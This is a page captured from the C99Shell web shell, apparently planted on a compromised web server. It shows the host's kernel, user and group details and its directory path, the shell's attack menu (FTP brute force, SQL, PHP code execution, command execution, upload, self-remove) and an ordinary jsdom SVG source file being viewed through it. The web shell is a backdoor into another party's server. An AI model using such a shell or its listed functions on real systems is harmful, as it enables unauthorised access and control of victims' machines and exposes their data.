!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/rentals.picotech.app/public_html/node_modules/jsdom/lib/jsdom/living/svg/   drwxr-xr-x
Free 23.53 GB of 117.98 GB (19.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SVGAnimatedRect-impl.js (2.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";

const SVGRect = require("../generated/SVGRect");

// https://drafts.csswg.org/css-syntax/#number-token-diagram
const numberRe = /^[+-]?(?:\d*\.)?\d+(?:[eE][+-]?\d+)?/;

// https://svgwg.org/svg2-draft/coords.html#ViewBoxAttribute
function parseViewBox(str) {
  // Use a do-while "loop" as JavaScript `goto end`.
  // eslint-disable-next-line no-unreachable-loop
  do {
    // When the attribute does not exist.
    if (typeof str !== "string") {
      break;
    }

    let i = 0;
    skipSpace();
    const xStr = matchNumber();
    if (!xStr) {
      break;
    }
    if (!skipDelimiter()) {
      break;
    }
    const yStr = matchNumber();
    if (!yStr) {
      break;
    }
    if (!skipDelimiter()) {
      break;
    }
    const widthStr = matchNumber();
    if (!widthStr) {
      break;
    }
    if (!skipDelimiter()) {
      break;
    }
    const heightStr = matchNumber();
    if (!heightStr) {
      break;
    }
    // Test for trailing junk.
    skipSpace();
    if (i < str.length) {
      break;
    }

    // A negative value for <width> or <height> is an error and invalidates the 'viewBox' attribute.
    const width = Number(widthStr);
    if (width < 0) {
      break;
    }
    const height = Number(heightStr);
    if (height < 0) {
      break;
    }

    return {
      x: Number(xStr),
      y: Number(yStr),
      width,
      height
    };

    function skipSpace() {
      while (i < str.length && str[i] === " ") {
        i += 1;
      }
    }

    function matchNumber() {
      const numMatch = numberRe.exec(str.slice(i));
      if (!numMatch) {
        return undefined;
      }
      i += numMatch[0].length;
      return numMatch[0];
    }

    function skipDelimiter() {
      const start = i;
      skipSpace();
      if (i < str.length && str[i] === ",") {
        i += 1;
      }
      skipSpace();
      return i > start;
    }
  } while (false);

  return { x: 0, y: 0, width: 0, height: 0 };
}

class SVGAnimatedRectImpl {
  constructor(globalObject, args, privateData) {
    this._globalObject = globalObject;
    this._element = privateData.element;
    this._attribute = privateData.attribute;
  }

  get baseVal() {
    return SVGRect.createImpl(this._globalObject, [], {
      reflectedElement: this._element,
      reflectedAttribute: this._attribute,
      parser: parseViewBox
    });
  }

  get animVal() {
    return SVGRect.createImpl(this._globalObject, [], {
      reflectedElement: this._element,
      reflectedAttribute: this._attribute,
      parser: parseViewBox,
      readOnly: true
    });
  }
}

exports.implementation = SVGAnimatedRectImpl;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--